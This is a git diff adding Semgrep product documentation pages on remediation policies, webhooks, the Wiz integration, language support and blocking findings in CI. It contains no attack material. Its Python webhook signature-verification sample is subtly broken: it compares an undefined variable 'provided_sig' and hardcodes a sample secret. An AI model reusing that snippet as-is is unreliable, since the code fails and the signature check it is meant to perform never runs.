+With unified policies, your definitions are now split into detection and remediation policies. The following tables show the detection policy enabling the rules for all projects and the remediation policy defining the actions that occur when the specified rules generate findings:
+
+### Detection policy
+
+| **Rule A** | Enabled. Scope: All projects |
+| :--- | :--- |
+| **Rule B** | Enabled. Scope: All projects |
+| **Rule C** | Enabled. Scope: All projects |
+| **Rule D** | Enabled. Scope: All projects |
+
+### Remediation policy
+
+| | | |
+| :--- | :--- | :--- |
+| **Automation 1** | Name | Comment on PR or MR with findings |
+| **Automation 1** | Scope | All projects |
+| **Automation 1** | Conditions | Rule is one of:
Rule B
|
+| **Automation 1** | Actions | Comment on the PR or MR |
+| **Automation 2** | Name | Block PR or MR merges with findings |
+| **Automation 2** | Scope | All projects |
+| **Automation 2** | Conditions | Rule is one of:
Rule C
Rule D
|
+| **Automation 2** | Actions | Block PR or MR |
+
+## Next steps
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/webhooks.mdx b/mintlify-docs/semgrep-appsec-platform/webhooks.mdx
new file mode 100644
index 0000000000..6c28db8098
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/webhooks.mdx
@@ -0,0 +1,236 @@
+---
+title: "Enable webhooks"
+sidebarTitle: "Webhooks"
+description: "Webhooks are a generic method for Semgrep AppSec Platform to post JSON-formatted findings after each scan to your URL endpoint."
+---
+
+
+**FOR SLACK INTEGRATIONS**
+
+- To integrate with Slack, use the [Semgrep Slack app](/semgrep-appsec-platform/slack-notifications). The webhook setup described in this guide does not work for Slack integrations.
+
+
+Semgrep sends two types of JSON objects:
+
+
+`semgrep_scan` JSON object
+A `semgrep_scan` object contains information about the CI job and other scan parameters, such as ignored files. Semgrep sends a single `semgrep_scan` object **every time a scan is run**. This includes diff-aware scans, full scans, and scans that have no findings.
+
+`semgrep_finding` JSON object
+A `semgrep_finding` object is a single record of a new finding. Semgrep sends new `semgrep_finding` objects based on how you have configured your notifications in Policies. See [Set up webhooks](#set-up-webhooks) to learn more.
+
+## Set up webhooks
+
+Perform these steps in Semgrep AppSec Platform to set up webhooks:
+
+
+
+Create a webhook integration:
+
+ i. On the navigation menu, click ** Settings > Integrations > Add**.
+
+ ii. Click **Webhook**.
+
+ iii. In the **Name** field, enter a name for the integration.
+
+ iv. In the **Webhook URL** field, enter the target webhook URL for the integration.
+
+ v. Optional: Provide a **Signature Secret**. The secret must be at least 15 characters long. If you provide a secret, Semgrep sends an `X-Semgrep-Signature-256` signature header with the payload.
+
+ vi. Optional: If you use the [Semgrep Network Broker](/semgrep-ci/network-broker), and your webhook URL is only accessible from your private network, enable the **Use Network Broker** toggle.
+
+ vii. Click **Subscribe**.
+
+
+Turn notifications on:
+
+ i. Click **Rules > Policies > Rule Modes**.
+
+ ii. Click the **Edit** button of the Rule Mode for which you want to receive webhook notifications. For example, if you want to be notified of all blocking findings through webhooks, click the **Edit** button of the **Block** mode.
+
+ iii. Repeat the previous step for all Rule Modes that you want to receive notifications for.
+
+
+
+## Test webhooks
+
+To verify that Semgrep can post to your URL:
+
+
+
+Navigate to ** Settings > Integrations**
+
+
+Click the **Test** button of the webhook integration you want to test.
+
+
+The following sample code in Python shows how to verify the signature in the `X-Semgrep-Signature-256` header:
+
+ ```python
+ provided_signature = request.headers['X-Semgrep-Signature-256']
+
+ secret = "this_is_a_secret"
+ payload_str = json.dumps(request.get_json(), separators=(',', ':'))
+ computed_sig = hmac.new(
+ secret.encode('utf-8'),
+ payload_str.encode('utf-8'),
+ hashlib.sha256
+ ).hexdigest()
+
+ logger.info(f"valid signature: {hmac.compare_digest(provided_sig, computed_sig)}")
+ ```
+
+
+
+## Notification and alert de-duplication
+
+Notifications are sent only the first time a given finding is detected.
+
+When running a diff-aware scan, Semgrep doesn't notify you when a pull request has a finding that existed on the base branch already, even if that line is moved or re-indented.
+
+Semgrep also tracks notifications that have already been sent, so subsequent scans of the same changes in a pull request won't result in duplicate notifications.
+
+
+**NOTE**
+
+See [Findings in CI](/semgrep-ci/findings-ci) for more information about how Semgrep tracks a finding through its lifetime.
+
+
+## Semgrep findings object
+
+Currently, only Semgrep Code (SAST) findings are sent through webhooks. The `numeric_id` field represents the finding's ID in Semgrep AppSec Platform.
+
+The following is an example of a `semgrep_finding` object sent by Semgrep:
+
+```json expandable
+[
+ {
+ "semgrep_finding": {
+ "check_id": "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
+ "column": 28,
+ "commit_date": "2024-06-11T20:39:36",
+ "commit_url": "https://github.com/owasp/juice-shop/commit/1bb71fff3589e51293e373274092d82c426025d2",
+ "end_column": 159,
+ "end_line": 10,
+ "first_seen_scan_id": "j4an6ro33aJM",
+ "id": "c409ef941eec3008da6e1fd347e793aa",
+ "index": 0,
+ "line": 10,
+ "message": "Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.",
+ "metadata": {
+ "category": "security",
+ "confidence": "HIGH",
+ "cwe": [
+ "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
+ ],
+ "cwe2021-top25": 1,
+ "cwe2022-top25": 1,
+ "dev.semgrep.actions": [
+ "comment"
+ ],
+ "impact": "HIGH",
+ "interfile": 1,
+ "license": "Commons Clause License Condition v1.0[LGPL-2.1-only]",
+ "likelihood": "HIGH",
+ "owasp": [
+ "A01:2017 - Injection",
+ "A03:2021 - Injection"
+ ],
+ "references": [
+ "https://sequelize.org/v6/core-concepts/raw-queries/#replacements"
+ ],
+ "semgrep.dev": {
+ "rule": {
+ "origin": "community",
+ "r_id": 22085,
+ "rule_id": "yyU0GX",
+ "rule_name": "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
+ "rv_id": 109973,
+ "url": "https://semgrep.dev/playground/r/3ZTkQwW/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
+ "version_id": "3ZTkQwW"
+ },
+ "src": "unchanged"
+ },
+ "semgrep.policy": {
+ "id": 61271,
+ "name": "Rule Board - PR Comments column",
+ "slug": "rule-board-pr-comments"
+ },
+ "semgrep.url": "https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
+ "shortlink": "https://sg.run/gjoe",
+ "source": "https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
+ "subcategory": [
+ "vuln"
+ ],
+ "technology": [
+ "express"
+ ],
+ "vulnerability_class": [
+ "SQL Injection"
+ ]
+ },
+ "numeric_id": 11301071,
+ "path": "data/static/codefixes/unionSqlInjectionChallenge_3.ts",
+ "ref": "refs/heads/master",
+ "repo_name": "owasp/juice-shop",
+ "severity": 2,
+ "start_date": "2023-02-12 00:50:21.552606+00:00"
+ }
+ }
+]
+```
+
+## Semgrep scan object
+
+The following is an example of a `semgrep_scan` object sent by Semgrep:
+
+```json expandable
+{
+ "semgrep_scan": {
+ "deployment_id": 1,
+ "enabled_products": [
+ "sast",
+ "sca",
+ "secrets"
+ ],
+ "exit_code": null,
+ "hashed_id": "Y4QdEwR2qPgK",
+ "id": 27714135,
+ "meta": {
+ "app_block_override": null,
+ "branch": "refs/pull/7/merge",
+ "ci_job_url": "https://github.com/owasp/juice-shop/actions/runs/9999999",
+ "commit": "4166d6fd19ce97e65cf3278ce85afe4f444a7842",
+ "commit_author_image_url": "https://avatars.githubusercontent.com/u/1274037?v=4",
+ "commit_author_email": "support@semgrep.com",
+ "commit_author_name": "Semgrep User",
+ "commit_author_username": "semgrepuser",
+ "commit_timestamp": "2024-06-11T21:25:13",
+ "commit_title": "random code changes",
+ "is_code_scan": 0,
+ "is_full_scan": 0,
+ "is_sca_scan": 0,
+ "is_secrets_scan": 0,
+ "on": "pull_request",
+ "org_id": "1274037",
+ "pull_request_author_username": "semgrepuser",
+ "pull_request_author_image_url": "https://avatars.githubusercontent.com/u/29760937?s=200&v=4",
+ "pull_request_id": "7",
+ "pull_request_title": "random code changes",
+ "renamed_paths": [],
+ "repo_display_name": "owasp/juice-shop",
+ "repo_id": "600593544",
+ "repo_url": "https://github.com/owasp/juice-shop",
+ "repository": "owasp/juice-shop",
+ "scan_environment": "github-actions",
+ "semgrep_version": "1.75.0",
+ "version": "v1"
+ },
+ "repository_id": 158684,
+ "started_at": "2024-06-11T21:26:22.844158+00:00",
+ "completed_at": null,
+ "stats": null,
+ "tenant_name": "default"
+ }
+}
+```
diff --git a/mintlify-docs/semgrep-appsec-platform/wiz.mdx b/mintlify-docs/semgrep-appsec-platform/wiz.mdx
new file mode 100644
index 0000000000..8683006a0c
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/wiz.mdx
@@ -0,0 +1,141 @@
+---
+title: "View Semgrep findings in Wiz's Security Graph"
+sidebarTitle: "Wiz"
+---
+
+Semgrep integrates with Wiz by establishing a secure connection with Wiz's API endpoints. If your Wiz instance has a security graph enrichment integration, you can view SAST vulnerabilities that Semgrep identifies in the repositories it scans and are also present in your cloud-native application protection platform (CNAPP). Semgrep's goal is to give you a holistic view of your code and infrastructure security so that you can focus on what matters most.
+
+
+
+
+
+
+
+
+
+## Prerequisites
+
+This integration is available for users with both a [Semgrep Code license](https://semgrep.dev/products/semgrep-code/) and a [Wiz Code Security license](https://www.wiz.io/platform/wiz-code).
+
+To send Semgrep Code findings to Wiz:
+
+- You must [connect your source code manager to Semgrep](/deployment/connect-scm). At this time, Wiz [supports the use of the following](https://win.wiz.io/sast-app-vuln-findings-schema#schema-fields):
+ - GitHub Cloud
+ - GitHub Enterprise Server
+ - GitLab Cloud
+ - GitLab Self-managed
+- You must have a Wiz service account with sufficient permissions to create a service account, if needed, and integrations. The service account must be able to provide Semgrep with the following scopes: `create:external_data_ingestion`, `read:system_activities`, and `read:resources`. You must also have [the client ID and the client secret that accompanies the service account](https://docs.wiz.io/wiz-docs/semgrep-integration).
+- You must add the [Semgrep integration](https://app.wiz.io/settings/automation/integrations) from the Wiz Integration Network. During this process, save the following values shown to you:
+
+ i. API Endpoint URL
+ ii. Authentication URL
+ You can find both values at a later date under [tenant info](https://app.wiz.io/tenant-info/general).
+
+
+**NOTE**
+
+For Wiz users with a [Code Security](https://www.wiz.io/platform/wiz-code) license: this integration takes effect automatically when you create a Wiz Cloud Insights account.
+
+
+## Limitations
+
+Semgrep sends data to Wiz after every successful full scan; Semgrep does not send data from diff-aware scans. Wiz batches and syncs your data once every 24 hours.
+
+By default, the Code findings that Semgrep sends are:
+
+- Critical or high severity
+- From full scans
+- From the default branch of each repository
+
+Semgrep sends findings from all repositories on supported SCMs in your organization. Findings previously sent but not included in submissions are marked as fixed in Wiz.
+
+Currently, findings from repositories on SCMs other than GitHub and GitLab are not supported, as indicated in [Prerequisites](#prerequisites).
+
+
+**CAUTION**
+
+Due to [a limitation of how Wiz handles external enrichment data](https://win.wiz.io/limitations#external-enrichment-limitations), you must run a new SAST scan on your Semgrep project once a week to maintain the data displayed in Wiz.
+
+
+## Add the Semgrep integration from the Wiz Integration Network
+
+To learn how to add the Semgrep integration from the Wiz Integration Network, review [Wiz Docs' Semgrep Integration](https://docs.wiz.io/wiz-docs/semgrep-integration).
+
+## Configure the integration in Semgrep
+
+Once you've added the Semgrep integration from the Wiz Integration Network, you must continue the setup process in Semgrep:
+
+
+
+Sign in to [Semgrep](https://semgrep.dev/login).
+
+
+In the navigation bar, click **Settings**.
+
+
+Navigate to **Integrations**, and click **+ Add > Wiz**.
+
+
+In the dialog that appears, provide the following information:
+
+ i. API Endpoint URL
+
+ ii. Authentication URL
+
+ iii. Client ID
+
+ iv. Client Secret
+
+ You can obtain the **API Endpoint URL** and the **Authentication URL** from Wiz in [Tenant Info](https://app.wiz.io/tenant-info/general), while Wiz provides the **Client ID** and **Client Secret** when you set up a service account.
+
+
+Click **Connect**.
+
+
+If Semgrep successfully creates the connection, a dialog pops up that says, "Wiz credential created successfully." Semgrep also lists Wiz as an integration; you can verify the connection again by clicking **Test connection**.
+
+
+
+### Edit the integration
+
+To edit the integration:
+
+
+
+Sign in to [Semgrep](https://semgrep.dev/login).
+
+
+In the navigation bar, click **Settings**.
+
+
+Navigate to **Integrations**, and find the **Wiz** integration.
+
+
+Click **Edit**, and update the information required by Wiz as needed.
+
+
+Click **Save changes**.
+
+
+
+### Delete the integration
+
+To delete the integration:
+
+
+
+Sign in to [Semgrep](https://semgrep.dev/login).
+
+
+In the navigation bar, click **Settings**.
+
+
+Navigate to **Integrations**, and find the **Wiz** integration.
+
+
+Click the ** trash can** icon.
+
+
+Click **Delete** to confirm.
+
+
diff --git a/mintlify-docs/semgrep-ce-languages.mdx b/mintlify-docs/semgrep-ce-languages.mdx
new file mode 100644
index 0000000000..90bf1f074f
--- /dev/null
+++ b/mintlify-docs/semgrep-ce-languages.mdx
@@ -0,0 +1,75 @@
+---
+sidebarTitle: "Supported languages"
+title: "Supported languages for Semgrep Community Edition (CE)"
+description: "This document provides information about supported languages for Semgrep Code and Semgrep CE."
+---
+
+## Semgrep Code and CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine. These languages are supported by the Semgrep community, at best effort.
+
+Semgrep Code is a static application security testing (SAST) solution designed to detect complex security vulnerabilities. It makes use of proprietary Semgrep analyses, such as cross-file (interfile) dataflow analysis and framework specific analyses, in addition to Semgrep CE. This results in a [**higher true positive rate than Semgrep CE**](/semgrep-pro-vs-oss). Semgrep Code provides the highest quality support by the Semgrep team: reported issues are resolved promptly.
+
+Use either tool to scan local code or integrate it into your CI/CD pipeline to automate the continuous scanning of your repositories.
+
+| **Languages** | **🚀 Semgrep Code:** [Free for small teams](https://semgrep.dev/pricing) | **Semgrep CE** |
+| :--- | :--- | :--- |
+| C / C++ | **Generally available** • Cross-file dataflow analysis • 150+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| C# | **Generally available ** • Cross-file dataflow analysis • Supports up to C# 13 • 170+ Pro rules | Community supported • Limited to single-function analysis • Community rules • Supports up to C# 7.0 |
+| Go | **Generally available** • Cross-file dataflow analysis • 80+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| Java | **Generally available** • Cross-file dataflow analysis • Framework-specific control flow analysis • 190+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| JavaScript | **Generally available** • Cross-file dataflow analysis • Framework-specific control flow analysis • 250+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| Kotlin | **Generally available ** • Cross-file dataflow analysis • 60+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| [Python](/languages/python) | **Generally available** • Cross-file dataflow analysis • Framework-specific control flow analysis • 710+ Pro rules • See [Python-specific support details](/languages/python) | Community supported • Limited to single-function analysis • Community rules |
+| Typescript | **Generally available ** • Cross-file dataflow analysis • Framework-specific control flow analysis • 230+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| Ruby | **Generally available ** • Cross-function dataflow analysis • 40+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| Rust | **Generally available ** • Cross-function dataflow analysis • 40+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| JSX | **Generally available ** • Cross-function dataflow analysis • 70+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| PHP | **Generally available ** • Cross-function dataflow analysis • 50+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| Scala | **Generally available ** • Cross-function dataflow analysis • Community rules | Community supported • Limited to single-function analysis • Community rules |
+| Swift | **Generally available ** • Cross-function dataflow analysis • 60+ Pro rules | Community supported • Limited to single-function analysis • Community rules |
+| Terraform | **Generally available** • Cross-function dataflow analysis • Community rules | Community supported • Limited to single-function analysis • Community rules |
+| Generic | **Generally available ** | Community supported |
+| JSON | **Generally available ** | Community supported |
+| APEX | **Beta** | Not available |
+| Elixir | **Beta** | Not available |
+
+
+- Bash
+- Cairo
+- Circom
+- Clojure
+- Dockerfile
+- Hack
+- HTML
+- Jsonnet
+- Julia
+- Lisp
+- Lua
+- Move on Aptos
+- Move on Sui
+- OCaml
+- R
+- Scheme
+- Solidity
+- YAML
+- XML
+
+
+## Language maturity definitions
+
+Semgrep Code languages can be classified into four maturity levels:
+
+* Generally available (GA)
+* Beta
+* Experimental
+* Community supported\*
+
+\*Community supported languages meet the parse rate and syntax requirements of **Experimental** languages. Users can still access community rules or write their own rules.
+
+| **Feature** | **GA** | **Beta** | **Experimental** | **Community supported** |
+| :--- | :--- | :--- | :--- | :--- |
+| Support | Highest quality support by the Semgrep team. Reported issues are resolved promptly. | Supported by the Semgrep team. Reported issues are fixed after GA languages. | There are limitations to this language's functionality. Reported issues are tracked and prioritized with best effort. | These languages are supported by the Semgrep community. While Semgrep may develop rules or engine updates for these languages, they are not prioritized. |
+| Parse Rate | 99%+ | 95%+ | 90%+ | 90%+ |
+| Number of Pro rules | 10+ | 5+ | 0+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. | 0+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. |
+| Semgrep syntax | Regex, equivalence, deep expression operators, types and typing. All features supported in Beta. | Complete metavariable support, metavariable equality. All features supported in Experimental. | Syntax, ellipsis operator, basic metavariable functionality. | Syntax, ellipsis operator, basic metavariable functionality. |
diff --git a/mintlify-docs/semgrep-ci/ci-environment-variables-1.mdx b/mintlify-docs/semgrep-ci/ci-environment-variables-1.mdx
new file mode 100644
index 0000000000..26ac8b04f6
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/ci-environment-variables-1.mdx
@@ -0,0 +1,8 @@
+---
+title: "Continuous integration (CI) environment variables"
+sidebarTitle: "CI environment variables"
+---
+
+import CiEnvironmentVariables from "/snippets/semgrep-ci/ci-environment-variables.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-ci/ci-environment-variables.mdx b/mintlify-docs/semgrep-ci/ci-environment-variables.mdx
new file mode 100644
index 0000000000..26ac8b04f6
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/ci-environment-variables.mdx
@@ -0,0 +1,8 @@
+---
+title: "Continuous integration (CI) environment variables"
+sidebarTitle: "CI environment variables"
+---
+
+import CiEnvironmentVariables from "/snippets/semgrep-ci/ci-environment-variables.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-ci/configuring-blocking-and-errors-in-ci-1.mdx b/mintlify-docs/semgrep-ci/configuring-blocking-and-errors-in-ci-1.mdx
new file mode 100644
index 0000000000..45a9444377
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/configuring-blocking-and-errors-in-ci-1.mdx
@@ -0,0 +1,175 @@
+---
+title: "Handling blocking findings and errors"
+sidebarTitle: "Configure blocking findings"
+description: "This article documents how Semgrep handles blocking findings and errors and how you can change Semgrep's default behavior."
+---
+
+
+## Blocking findings
+
+Blocking findings are those identified by Semgrep Code using rules defined in Semgrep AppSec Platform's [Policies page](https://semgrep.dev/orgs/-/policies) and are set to **Block** mode. You can avoid blocking findings by removing rules or by switching the rule mode to **Monitor**, **Comment**, or **Disabled**.
+
+If you do **not** use Semgrep AppSec Platform with Semgrep in CI or Semgrep Managed Scans (that is, you are using a **stand-alone setup**), all Semgrep findings are blocking findings. The existence of any findings means that Semgrep returns an exit code of `1`, which you can use to block your PRs or MRs.
+
+## Semgrep's default behavior regarding blocking findings and errors
+
+When Semgrep identifies one or more blocking findings, it returns exit code `1`. You can use this result to set up additional checks to enforce a block in your CI/CD pipeline, such as not allowing the merge of the PR/MR. This action applies to both full scans and diff-aware scans.
+
+The process to enforce a block on a PR or MR after Semgrep exits with error code `1` is dependent on your CI provider. Review your CI provider's documentation for further information.
+
+If Semgrep encounters an internal error, it sends an anonymous crash report to a crash-reporting server and returns exit code 0. If you want to catch internal errors, review the [CLI reference](/cli-reference#exit-codes) for more information about Semgrep's exit codes and the options explained in this article to determine how you want to handle each exit code.
+
+## Configuration options for blocking findings and errors in CI
+
+You can configure, change, or revert to the default setup of blocking findings and errors in your CI pipeline by passing one of the following options in the `semgrep.yml` file used to configure and run Semgrep in your CI pipeline:
+
+| CI option | Description |
+| :--- | :--- |
+| `semgrep ci` or `semgrep ci --suppress-errors` | Default. CI **fails** on blocking findings, but **passes** on internal errors. |
+| `semgrep ci --no-suppress-errors` | CI **fails** on blocking findings and internal errors. |
+| semgrep ci || true | CI **passes** on blocking findings and internal errors. |
+
+To change Semgrep's behavior, modify your pipeline or job file, specifically the `semgrep ci` command, to the CI option that best fits your needs. For example, GitHub users should edit the `semgrep.yml` workflow file and include the following under the `run` key:
+
+```yaml
+run:
+ semgrep ci --suppress-errors
+```
+
+GitLab users would include the following under the `script` key:
+
+```yaml
+script:
+ semgrep ci --suppress-errors
+```
+
+If you use any other CI provider, refer to its documentation for information on where to provide this information. Additionally, see the sample configurations in the following section.
+
+## Sample configurations for blocking findings and errors
+
+The following is a sample `.semgrep.yml` file you can use with GitHub Actions. Semgrep's default behavior regarding blocking findings and errors applies here:
+
+- Semgrep returns exit code `1` if there are blocking findings
+- Semgrep returns exit code `0` if there are *no* blocking findings, even if there are internal errors. Semgrep does, however, send an anonymous report to the crash-reporting server.
+
+This means that, by default, Semgrep doesn't report statuses other than `0` or `1`.
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep
+
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
+ push:
+ branches:
+ - main
+ - master
+ paths:
+ - .github/workflows/semgrep.yml
+ # Schedule the CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+permissions:
+ contents: read
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep/ci
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep ci" command on the command line of the docker image.
+ - run: semgrep ci
+ env:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it to your GitHub secrets.
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+```
+
+Optionally, you can explicitly indicate that Semgrep is using the default settings by including the `--suppress-errors` flag. The modified portion of the configuration file is as follows:
+
+```yaml
+steps:
+ - uses: actions/checkout@v6
+ - name: Scan and suppress internal errors
+ run: semgrep ci --suppress-errors
+```
+
+The following code snippets display the position of the default flag in the configuration files of various CI providers:
+
+
+
+
+```yaml
+script:
+ - semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+commands:
+ - semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+steps:
+ - checkout
+ - run:
+ name: "Semgrep scan"
+ command: semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+steps:
+- uses: actions/checkout@v6
+- name: Scan and suppress internal errors
+ run: semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+semgrep:
+ image: semgrep/semgrep
+ script: semgrep ci --suppress-errors
+```
+
+
+
+
+```javascript
+steps {
+ sh 'pipx install semgrep'
+ sh 'semgrep ci --suppress-errors'
+}
+```
+
+
+
diff --git a/mintlify-docs/semgrep-ci/configuring-blocking-and-errors-in-ci.mdx b/mintlify-docs/semgrep-ci/configuring-blocking-and-errors-in-ci.mdx
new file mode 100644
index 0000000000..ce4c1ead00
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/configuring-blocking-and-errors-in-ci.mdx
@@ -0,0 +1,174 @@
+---
+title: "Handling blocking findings and errors"
+sidebarTitle: "Configure blocking findings"
+description: "This article documents how Semgrep handles blocking findings and errors and how you can change Semgrep's default behavior."
+---
+
+## Blocking findings
+
+Blocking findings are those identified by Semgrep Code using rules defined in Semgrep AppSec Platform's [Policies page](https://semgrep.dev/orgs/-/policies) and are set to **Block** mode. You can avoid blocking findings by removing rules or by switching the rule mode to **Monitor**, **Comment**, or **Disabled**.
+
+If you do **not** use Semgrep AppSec Platform with Semgrep in CI or Semgrep Managed Scans (that is, you are using a **stand-alone setup**), all Semgrep findings are blocking findings. The existence of any findings means that Semgrep returns an exit code of `1`, which you can use to block your PRs or MRs.
+
+## Semgrep's default behavior regarding blocking findings and errors
+
+When Semgrep identifies one or more blocking findings, it returns exit code `1`. You can use this result to set up additional checks to enforce a block in your CI/CD pipeline, such as not allowing the merge of the PR/MR. This action applies to both full scans and diff-aware scans.
+
+The process to enforce a block on a PR or MR after Semgrep exits with error code `1` is dependent on your CI provider. Review your CI provider's documentation for further information.
+
+If Semgrep encounters an internal error, it sends an anonymous crash report to a crash-reporting server and returns exit code 0. If you want to catch internal errors, review the [CLI reference](/cli-reference#exit-codes) for more information about Semgrep's exit codes and the options explained in this article to determine how you want to handle each exit code.
+
+## Configuration options for blocking findings and errors in CI
+
+You can configure, change, or revert to the default setup of blocking findings and errors in your CI pipeline by passing one of the following options in the `semgrep.yml` file used to configure and run Semgrep in your CI pipeline:
+
+| CI option | Description |
+| :--- | :--- |
+| `semgrep ci` or `semgrep ci --suppress-errors` | Default. CI **fails** on blocking findings, but **passes** on internal errors. |
+| `semgrep ci --no-suppress-errors` | CI **fails** on blocking findings and internal errors. |
+| semgrep ci || true | CI **passes** on blocking findings and internal errors. |
+
+To change Semgrep's behavior, modify your pipeline or job file, specifically the `semgrep ci` command, to the CI option that best fits your needs. For example, GitHub users should edit the `semgrep.yml` workflow file and include the following under the `run` key:
+
+```yaml
+run:
+ semgrep ci --suppress-errors
+```
+
+GitLab users would include the following under the `script` key:
+
+```yaml
+script:
+ semgrep ci --suppress-errors
+```
+
+If you use any other CI provider, refer to its documentation for information on where to provide this information. Additionally, see the sample configurations in the following section.
+
+## Sample configurations for blocking findings and errors
+
+The following is a sample `.semgrep.yml` file you can use with GitHub Actions. Semgrep's default behavior regarding blocking findings and errors applies here:
+
+- Semgrep returns exit code `1` if there are blocking findings
+- Semgrep returns exit code `0` if there are *no* blocking findings, even if there are internal errors. Semgrep does, however, send an anonymous report to the crash-reporting server.
+
+This means that, by default, Semgrep doesn't report statuses other than `0` or `1`.
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep
+
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
+ push:
+ branches:
+ - main
+ - master
+ paths:
+ - .github/workflows/semgrep.yml
+ # Schedule the CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+permissions:
+ contents: read
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep/ci
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep ci" command on the command line of the docker image.
+ - run: semgrep ci
+ env:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it to your GitHub secrets.
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+```
+
+Optionally, you can explicitly indicate that Semgrep is using the default settings by including the `--suppress-errors` flag. The modified portion of the configuration file is as follows:
+
+```yaml
+steps:
+ - uses: actions/checkout@v6
+ - name: Scan and suppress internal errors
+ run: semgrep ci --suppress-errors
+```
+
+The following code snippets display the position of the default flag in the configuration files of various CI providers:
+
+
+
+
+```yaml
+script:
+ - semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+commands:
+ - semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+steps:
+ - checkout
+ - run:
+ name: "Semgrep scan"
+ command: semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+steps:
+- uses: actions/checkout@v6
+- name: Scan and suppress internal errors
+ run: semgrep ci --suppress-errors
+```
+
+
+
+
+```yaml
+semgrep:
+ image: semgrep/semgrep
+ script: semgrep ci --suppress-errors
+```
+
+
+
+
+```javascript
+steps {
+ sh 'pipx install semgrep'
+ sh 'semgrep ci --suppress-errors'
+}
+```
+
+
+
diff --git a/mintlify-docs/semgrep-ci/findings-ci-1.mdx b/mintlify-docs/semgrep-ci/findings-ci-1.mdx
new file mode 100644
index 0000000000..d2b01de7c5
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/findings-ci-1.mdx
@@ -0,0 +1,8 @@
+---
+title: "Findings in CI"
+description: "When running any Semgrep product in CI, Semgrep is able to track the lifetime of an individual finding. When configured to perform a diff-aware scan, Semgrep only shows new findings relative to some specified baseline commit."
+---
+
+import FindingsCi from "/snippets/semgrep-ci/findings-ci.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-ci/findings-ci.mdx b/mintlify-docs/semgrep-ci/findings-ci.mdx
new file mode 100644
index 0000000000..d2b01de7c5
--- /dev/null
+++ b/mintlify-docs/semgrep-ci/findings-ci.mdx
@@ -0,0 +1,8 @@
